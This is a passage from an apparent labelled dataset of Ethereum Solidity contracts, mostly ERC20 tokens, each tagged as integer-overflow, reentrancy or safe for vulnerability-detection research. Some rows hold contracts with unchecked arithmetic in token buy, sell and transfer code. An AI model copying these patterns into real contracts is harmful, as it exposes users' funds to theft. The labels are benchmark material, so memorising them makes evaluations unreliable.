c + a % b); return c; } function minus(uint a, uint b) returns (uint) { assert(b <= a); return a - b; } function plus(uint a, uint b) returns (uint) { uint c = a + b; assert(c>=a); return c; } }",./Dataset/integer overflow (OF)/,4,4 228.sol,"pragma solidity 0.4.24; library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20TokenInterface { function balanceOf(address _owner) public constant returns (uint256 value); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); } contract admined { address public admin; mapping(address => uint256) public level; bool public lockSupply; constructor() public { admin = 0x6585b849371A40005F9dCda57668C832a5be1777; level[admin] = 2; emit Admined(admin); } modifier onlyAdmin(uint8 _level) { require(msg.sender == admin || level[msg.sender] >= _level); _; } modifier supplyLock() { require(lockSupply == false); _; } function transferAdminship(address _newAdmin) onlyAdmin(2) public { require(_newAdmin != address(0)); admin = _newAdmin; level[_newAdmin] = 2; emit TransferAdminship(admin); } function setAdminLevel(address _target, uint8 _level) onlyAdmin(2) public { level[_target] = _level; emit AdminLevelSet(_target,_level); } function setSupplyLock(bool _set) onlyAdmin(2) public { lockSupply = _set; emit SetSupplyLock(_set); } event SetSupplyLock(bool _set); event TransferAdminship(address newAdminister); event Admined(address administer); event AdminLevelSet(address _target,uint8 _level); } contract ERC20Token is ERC20TokenInterface, admined { using SafeMath for uint256; uint256 public totalSupply; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; function balanceOf(address _owner) public constant returns (uint256 value) { return balances[_owner]; } function transfer(address _to, uint256 _value) public returns (bool success) { require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0)); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function burnToken(address _target, uint256 _burnedAmount) onlyAdmin(2) supplyLock public { balances[_target] = SafeMath.sub(balances[_target], _burnedAmount); totalSupply = SafeMath.sub(totalSupply, _burnedAmount); emit Burned(_target, _burnedAmount); } event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Burned(address indexed _target, uint256 _value); event FrozenStatus(address _target,bool _flag); } contract AssetGRP is ERC20Token { string public name = 'Gripo'; uint8 public decimals = 18; string public symbol = 'GRP'; string public version = '1'; address writer = 0xA6bc924715A0B63C6E0a7653d3262D26F254EcFd; constructor() public { totalSupply = 200000000 * (10**uint256(decimals)); balances[writer] = totalSupply / 10000; balances[admin] = totalSupply.sub(balances[writer]); emit Transfer(address(0), writer, balances[writer]); emit Transfer(address(0), admin, balances[admin]); } function() public { revert(); } }",./Dataset/integer overflow (OF)/,4,4 1767.sol,"pragma solidity ^0.4.18; contract SafeMath { function safeAdd(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract SOLID is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; uint public startDate; uint public bonusEnds; uint public endDate; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function SOLID() public { symbol = ""SOLID""; name = ""SOLID TOKEN""; decimals = 18; bonusEnds = now + 5500 weeks; endDate = now + 7500 weeks; } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { require(now >= startDate && now <= endDate); uint tokens; if (now <= bonusEnds) { tokens = msg.value * 903021; } else { tokens = msg.value * 14000000000000000000000; } balances[msg.sender] = safeAdd(balances[msg.sender], tokens); _totalSupply = safeAdd(_totalSupply, tokens); Transfer(address(0), msg.sender, tokens); owner.transfer(msg.value); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }",./Dataset/integer overflow (OF)/,4,4 44669.sol,"pragma solidity ^0.5.16; // Inheritance import ""./Owned.sol""; import ""./Pausable.sol""; import ""./MixinResolver.sol""; import ""./interfaces/IBinaryOptionMarketManager.sol""; // Libraries import ""./AddressSetLib.sol""; import ""./SafeDecimalMath.sol""; // Internal references import ""./BinaryOptionMarketFactory.sol""; import ""./BinaryOptionMarket.sol""; import ""./interfaces/IBinaryOptionMarket.sol""; import ""./interfaces/IExchangeRates.sol""; import ""./interfaces/ISystemStatus.sol""; import ""./interfaces/IERC20.sol""; // https://docs.synthetix.io/contracts/source/contracts/binaryoptionmarketmanager contract BinaryOptionMarketManager is Owned, Pausable, MixinResolver, IBinaryOptionMarketManager { /* ========== LIBRARIES ========== */ using SafeMath for uint; using AddressSetLib for AddressSetLib.AddressSet; /* ========== TYPES ========== */ struct Fees { uint poolFee; uint creatorFee; uint refundFee; } struct Durations { uint maxOraclePriceAge; uint expiryDuration; uint maxTimeToMaturity; } struct CreatorLimits { uint capitalRequirement; uint skewLimit; } /* ========== STATE VARIABLES ========== */ Fees public fees; Durations public durations; CreatorLimits public creatorLimits; bool public marketCreationEnabled = true; uint public totalDeposited; AddressSetLib.AddressSet internal _activeMarkets; AddressSetLib.AddressSet internal _maturedMarkets; BinaryOptionMarketManager internal _migratingManager; /* ---------- Address Resolver Configuration ---------- */ bytes32 internal constant CONTRACT_SYSTEMSTATUS = ""SystemStatus""; bytes32 internal constant CONTRACT_SYNTHSUSD = ""SynthsUSD""; bytes32 internal constant CONTRACT_EXRATES = ""ExchangeRates""; bytes32 internal constant CONTRACT_BINARYOPTIONMARKETFACTORY = ""BinaryOptionMarketFactory""; /* ========== CONSTRUCTOR ========== */ constructor( address _owner, address _resolver, uint _maxOraclePriceAge, uint _expiryDuration, uint _maxTimeToMaturity, uint _creatorCapitalRequirement, uint _creatorSkewLimit, uint _poolFee, uint _creatorFee, uint _refundFee ) public Owned(_owner) Pausable() MixinResolver(_resolver) { // Temporarily change the owner so that the setters don't revert. owner = msg.sender; setExpiryDuration(_expiryDuration); setMaxOraclePriceAge(_maxOraclePriceAge); setMaxTimeToMaturity(_maxTimeToMaturity); setCreatorCapitalRequirement(_creatorCapitalRequirement); setCreatorSkewLimit(_creatorSkewLimit); setPoolFee(_poolFee); setCreatorFee(_creatorFee); setRefundFee(_refundFee); owner = _owner; } /* ========== VIEWS ========== */ function resolverAddressesRequired() public view returns (bytes32[] memory addresses) { addresses = new bytes32[](4); addresses[0] = CONTRACT_SYSTEMSTATUS; addresses[1] = CONTRACT_SYNTHSUSD; addresses[2] = CONTRACT_EXRATES; addresses[3] = CONTRACT_BINARYOPTIONMARKETFACTORY; } /* ---------- Related Contracts ---------- */ function _systemStatus() internal view returns (ISystemStatus) { return ISystemStatus(requireAndGetAddress(CONTRACT_SYSTEMSTATUS)); } function _sUSD() internal view returns (IERC20) { return IERC20(requireAndGetAddress(CONTRACT_SYNTHSUSD)); } function _exchangeRates() internal view returns (IExchangeRates) { return IExchangeRates(requireAndGetAddress(CONTRACT_EXRATES)); } function _factory() internal view returns (BinaryOptionMarketFactory) { return BinaryOptionMarketFactory(requireAndGetAddress(CONTRACT_BINARYOPTIONMARKETFACTORY)); } /* ---------- Market Information ---------- */ function _isKnownMarket(address candidate) internal view returns (bool) { return _activeMarkets.contains(candidate) || _maturedMarkets.contains(candidate); } function numActiveMarkets() external view returns (uint) { return _activeMarkets.elements.length; } function activeMarkets(uint index, uint pageSize) external view returns (address[] memory) { return _activeMarkets.getPage(index, pageSize); } function numMaturedMarkets() external view returns (uint) { return _maturedMarkets.elements.length; } function maturedMarkets(uint index, uint pageSize) external view returns (address[] memory) { return _maturedMarkets.getPage(index, pageSize); } function _isValidKey(bytes32 oracleKey) internal view returns (bool) { IExchangeRates exchangeRates = _exchangeRates(); // If it has a rate, then it's possibly a valid key if (exchangeRates.rateForCurrency(oracleKey) != 0) { // But not sUSD if (oracleKey == ""sUSD"") { return false; } // and not inverse rates (uint entryPoint, , , , ) = exchangeRates.inversePricing(oracleKey); if (entryPoint != 0) { return false; } return true; } return false; } /* ========== MUTATIVE FUNCTIONS ========== */ /* ---------- Setters ---------- */ function setMaxOraclePriceAge(uint _maxOraclePriceAge) public onlyOwner { durations.maxOraclePriceAge = _maxOraclePriceAge; emit MaxOraclePriceAgeUpdated(_maxOraclePriceAge); } function setExpiryDuration(uint _expiryDuration) public onlyOwner { durations.expiryDuration = _expiryDuration; emit ExpiryDurationUpdated(_expiryDuration); } function setMaxTimeToMaturity(uint _maxTimeToMaturity) public onlyOwner { durations.maxTimeToMaturity = _maxTimeToMaturity; emit MaxTimeToMaturityUpdated(_maxTimeToMaturity); } function setPoolFee(uint _poolFee) public onlyOwner { uint totalFee = _poolFee + fees.creatorFee; require(totalFee < SafeDecimalMath.unit(), ""Total fee must be less than 100%.""); require(0 < totalFee, ""Total fee must be nonzero.""); fees.poolFee = _poolFee; emit PoolFeeUpdated(_poolFee); } function setCreatorFee(uint _creatorFee) public onlyOwner { uint totalFee = _creatorFee + fees.poolFee; require(totalFee < SafeDecimalMath.unit(), ""Total fee must be less than 100%.""); require(0 < totalFee, ""Total fee must be nonzero.""); fees.creatorFee = _creatorFee; emit CreatorFeeUpdated(_creatorFee); } function setRefundFee(uint _refundFee) public onlyOwner { require(_refundFee <= SafeDecimalMath.unit(), ""Refund fee must be no greater than 100%.""); fees.refundFee = _refundFee; emit RefundFeeUpdated(_refundFee); } function setCreatorCapitalRequirement(uint _creatorCapitalRequirement) public onlyOwner { creatorLimits.capitalRequirement = _creatorCapitalRequirement; emit CreatorCapitalRequirementUpdated(_creatorCapitalRequirement); } function setCreatorSkewLimit(uint _creatorSkewLimit) public onlyOwner { require(_creatorSkewLimit <= SafeDecimalMath.unit(), ""Creator skew limit must be no greater than 1.""); creatorLimits.skewLimit = _creatorSkewLimit; emit CreatorSkewLimitUpdated(_creatorSkewLimit); } /* ---------- Deposit Management ---------- */ function incrementTotalDeposited(uint delta) external onlyActiveMarkets notPaused { _systemStatus().requireSystemActive(); totalDeposited = totalDeposited.add(delta); } function decrementTotalDeposited(uint delta) external onlyKnownMarkets notPaused { _systemStatus().requireSystemActive(); // NOTE: As individual market debt is not tracked here, the underlying markets // need to be careful never to subtract more debt than they added. // This can't be enforced without additional state/communication overhead. totalDeposited = totalDeposited.sub(delta); } /* ---------- Market Lifecycle ---------- */ function createMarket( bytes32 oracleKey, uint strikePrice, bool refundsEnabled, uint[2] calldata times, // [biddingEnd, maturity] uint[2] calldata bids // [longBid, shortBid] ) external notPaused returns ( IBinaryOptionMarket // no support for returning BinaryOptionMarket polymorphically given the interface ) { _systemStatus().requireSystemActive(); require(marketCreationEnabled, ""Market creation is disabled""); require(_isValidKey(oracleKey), ""Invalid key""); (uint biddingEnd, uint maturity) = (times[0], times[1]); require(maturity <= now + durations.maxTimeToMaturity, ""Maturity too far in the future""); uint expiry = maturity.add(durations.expiryDuration); uint initialDeposit = bids[0].add(bids[1]); require(now < biddingEnd, ""End of bidding has passed""); require(biddingEnd < maturity, ""Maturity predates end of bidding""); // We also require maturity < expiry. But there is no need to check this. // Fees being in range are checked in the setters. // The market itself validates the capital and skew requirements. BinaryOptionMarket market = _factory().createMarket( msg.sender, [creatorLimits.capitalRequirement, creatorLimits.skewLimit], oracleKey, strikePrice, refundsEnabled, [biddingEnd, maturity, expiry], bids, [fees.poolFee, fees.creatorFee, fees.refundFee] ); market.rebuildCache(); _activeMarkets.add(address(market)); // The debt can't be incremented in the new market's constructor because until construction is complete, // the manager doesn't know its address in order to grant it permission. totalDeposited = totalDeposited.add(initialDeposit); _sUSD().transferFrom(msg.sender, address(market), initialDeposit); emit MarketCreated(address(market), msg.sender, oracleKey, strikePrice, biddingEnd, maturity, expiry); return market; } function resolveMarket(address market) external { require(_activeMarkets.contains(market), ""Not an active market""); BinaryOptionMarket(market).resolve(); _activeMarkets.remove(market); _maturedMarkets.add(market); } function cancelMarket(address market) external notPaused { require(_activeMarkets.contains(market), ""Not an active market""); address creator = BinaryOptionMarket(market).creator(); require(msg.sender == creator, ""Sender not market creator""); BinaryOptionMarket(market).cancel(msg.sender); _activeMarkets.remove(market); emit MarketCancelled(market); } function expireMarkets(address[] calldata markets) external notPaused { for (uint i = 0; i < markets.length; i++) { address market = markets[i]; // The market itself handles decrementing the total deposits. BinaryOptionMarket(market).expire(msg.sender); // Note that we required that the market is known, which guarantees // its index is defined and that the list of markets is not empty. _maturedMarkets.remove(market); emit MarketExpired(market); } } /* ---------- Upgrade and Administration ---------- */ function rebuildMarketCaches(BinaryOptionMarket[] calldata marketsToSync) external { for (uint i = 0; i < marketsToSync.length; i++) { address market = address(marketsToSync[i]); // solhint-disable avoid-low-level-calls bytes memory payload = abi.encodeWithSignature(""rebuildCache()""); (bool success, ) = market.call(payload); if (!success) { // handle legacy markets that used an old cache rebuilding logic bytes memory payloadForLegacyCache = abi.encodeWithSignature( ""setResolverAndSyncCache(address)"", address(resolver) ); // solhint-disable avoid-low-level-calls (bool legacySuccess, ) = market.call(payloadForLegacyCache); require(legacySuccess, ""Cannot rebuild cache for market""); } } } function setMarketCreationEnabled(bool enabled) public onlyOwner { if (enabled != marketCreationEnabled) { marketCreationEnabled = enabled; emit MarketCreationEnabledUpdated(enabled); } } function setMigratingManager(BinaryOptionMarketManager manager) public onlyOwner { _migratingManager = manager; } function migrateMarkets( BinaryOptionMarketManager receivingManager, bool active, BinaryOptionMarket[] calldata marketsToMigrate ) external onlyOwner { uint _numMarkets = marketsToMigrate.length; if (_numMarkets == 0) { return; } AddressSetLib.AddressSet storage markets = active ? _activeMarkets : _maturedMarkets; uint runningDepositTotal; for (uint i; i < _numMarkets; i++) { BinaryOptionMarket market = marketsToMigrate[i]; require(_isKnownMarket(address(market)), ""Market unknown.""); // Remove it from our list and deposit total. markets.remove(address(market)); runningDepositTotal = runningDepositTotal.add(market.deposited()); // Prepare to transfer ownership to the new manager. market.nominateNewOwner(address(receivingManager)); } // Deduct the total deposits of the migrated markets. totalDeposited = totalDeposited.sub(runningDepositTotal); emit MarketsMigrated(receivingManager, marketsToMigrate); // Now actually transfer the markets over to the new manager. receivingManager.receiveMarkets(active, marketsToMigrate); } function receiveMarkets(bool active, BinaryOptionMarket[] calldata marketsToReceive) external { require(msg.sender == address(_migratingManager), ""Only permitted for migrating manager.""); uint _numMarkets = marketsToReceive.length; if (_numMarkets == 0) { return; } AddressSetLib.AddressSet storage markets = active ? _activeMarkets : _maturedMarkets; uint runningDepositTotal; for (uint i; i < _numMarkets; i++) { BinaryOptionMarket market = marketsToReceive[i]; require(!_isKnownMarket(address(market)), ""Market already known.""); market.acceptOwnership(); markets.add(address(market)); // Update the market with the new manager address, runningDepositTotal = runningDepositTotal.add(market.deposited()); } totalDeposited = totalDeposited.add(runningDepositTotal); emit MarketsReceived(_migratingManager, marketsToReceive); } /* ========== MODIFIERS ========== */ modifier onlyActiveMarkets() { require(_activeMarkets.contains(msg.sender), ""Permitted only for active markets.""); _; } modifier onlyKnownMarkets() { require(_isKnownMarket(msg.sender), ""Permitted only for known markets.""); _; } /* ========== EVENTS ========== */ event MarketCreated( address market, address indexed creator, bytes32 indexed oracleKey, uint strikePrice, uint biddingEndDate, uint maturityDate, uint expiryDate ); event MarketExpired(address market); event MarketCancelled(address market); event MarketsMigrated(BinaryOptionMarketManager receivingManager, BinaryOptionMarket[] markets); event MarketsReceived(BinaryOptionMarketManager migratingManager, BinaryOptionMarket[] markets); event MarketCreationEnabledUpdated(bool enabled); event MaxOraclePriceAgeUpdated(uint duration); event ExerciseDurationUpdated(uint duration); event ExpiryDurationUpdated(uint duration); event MaxTimeToMaturityUpdated(uint duration); event CreatorCapitalRequirementUpdated(uint value); event CreatorSkewLimitUpdated(uint value); event PoolFeeUpdated(uint fee); event CreatorFeeUpdated(uint fee); event RefundFeeUpdated(uint fee); } ",./Dataset/reentrancy (RE)/,5,5 0x00359e48665c081ecba0519cacff26c7ca889296_KNTTToken.sol,"pragma solidity ^0.4.13; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract KNTTToken is StandardToken { string public name = ""KnightCommentToken""; string public symbol = ""KNTT""; uint8 public decimals = 18; // one billion in initial supply uint256 public constant INITIAL_SUPPLY = 10000000000; function KNTTToken() public { totalSupply_ = INITIAL_SUPPLY * (10 ** uint256(decimals)); balances[msg.sender] = totalSupply_; } }",Safe,8,8 1469.sol,"pragma solidity ^0.4.18; contract Owner { address public owner; function Owner() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner { owner = newOwner; } } contract TokenRecipient { function receiveApproval( address _from, uint256 _value, address _token, bytes _extraData); } contract Token { string public standard; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); function Token ( uint256 initialSupply, string tokenName, uint8 decimalUnits, string tokenSymbol, string standardStr ) { balanceOf[msg.sender] = initialSupply; totalSupply = initialSupply; name = tokenName; symbol = tokenSymbol; decimals = decimalUnits; standard = standardStr; } function transfer(address _to, uint256 _value) returns (bool success) { if (balanceOf[msg.sender] < _value) { revert(); } if (balanceOf[_to] + _value < balanceOf[_to]) { revert(); } balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; Transfer(msg.sender, _to, _value); return true; } function approve(address _spender, uint256 _value) returns (bool success) { require(balanceOf[msg.sender] >= _value); allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { TokenRecipient spender = TokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval( msg.sender, _value, this, _extraData ); return true; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balanceOf[_from] < _value) { revert(); } if (balanceOf[_to] + _value < balanceOf[_to]) { revert(); } if (_value > allowance[_from][msg.sender]) { revert(); } balanceOf[_from] -= _value; balanceOf[_to] += _value; allowance[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } } contract EXToken is Token, Owner { uint256 public constant INITIAL_SUPPLY = 100 * 10000 * 10000 * 100000000; string public constant NAME = ""EX8""; string public constant SYMBOL = ""EX8""; string public constant STANDARD = ""EX8 2.0""; uint8 public constant DECIMALS = 8; uint256 public constant BUY = 0; uint256 constant RATE = 1 szabo; bool private couldTrade = false; uint256 public sellPrice; uint256 public buyPrice; uint minBalanceForAccounts; mapping (address => bool) frozenAccount; event FrozenFunds(address indexed _target, bool _frozen); function EXToken() Token(INITIAL_SUPPLY, NAME, DECIMALS, SYMBOL, STANDARD) { balanceOf[msg.sender] = totalSupply; buyPrice = 100000000; sellPrice = 100000000; } function transfer(address _to, uint256 _value) returns (bool success) { if (balanceOf[msg.sender] < _value) { revert(); } if (balanceOf[_to] + _value < balanceOf[_to]) { revert(); } if (frozenAccount[msg.sender]) { revert(); } balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (frozenAccount[_from]) { revert(); } if (balanceOf[_from] < _value) { revert(); } if (balanceOf[_to] + _value < balanceOf[_to]) { revert(); } if (_value > allowance[_from][msg.sender]) { revert(); } balanceOf[_from] -= _value; balanceOf[_to] += _value; allowance[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } function freezeAccount(address _target, bool freeze) onlyOwner { frozenAccount[_target] = freeze; FrozenFunds(_target, freeze); } function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner { sellPrice = newSellPrice; buyPrice = newBuyPrice; } function buy() payable returns (uint amount) { require(couldTrade); amount = msg.value * RATE / buyPrice; require(balanceOf[this] >= amount); require(balanceOf[msg.sender] + amount >= amount); balanceOf[this] -= amount; balanceOf[msg.sender] += amount; Transfer(this, msg.sender, amount); return amount; } function sell(uint256 amountInWeiDecimalIs18) returns (uint256 revenue) { require(couldTrade); uint256 amount = amountInWeiDecimalIs18; require(balanceOf[msg.sender] >= amount); require(!frozenAccount[msg.sender]); revenue = amount * sellPrice / RATE; balanceOf[this] += amount; balanceOf[msg.sender] -= amount; require(msg.sender.send(revenue)); Transfer(msg.sender, this, amount); return revenue; } function withdraw(uint256 amount) onlyOwner returns (bool success) { require(msg.sender.send(amount)); return true; } function setCouldTrade(uint256 amountInWeiDecimalIs18) onlyOwner returns (bool success) { couldTrade = true; require(balanceOf[msg.sender] >= amountInWeiDecimalIs18); require(balanceOf[this] + amountInWeiDecimalIs18 >= amountInWeiDecimalIs18); balanceOf[msg.sender] -= amountInWeiDecimalIs18; balanceOf[this] += amountInWeiDecimalIs18; Transfer(msg.sender, this, amountInWeiDecimalIs18); return true; } function stopTrade() onlyOwner returns (bool success) { couldTrade = false; uint256 _remain = balanceOf[this]; require(balanceOf[msg.sender] + _remain >= _remain); balanceOf[msg.sender] += _remain; balanceOf[this] -= _remain; Transfer(this, msg.sender, _remain); return true; } function () { revert(); } }",./Dataset/integer overflow (OF)/,4,4 389.sol,"library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract HVAToken is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { symbol = ""HVA""; name = ""HVA SHARE""; decimals = 0; _totalSupply = 200000000 * 10**uint(decimals); balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, 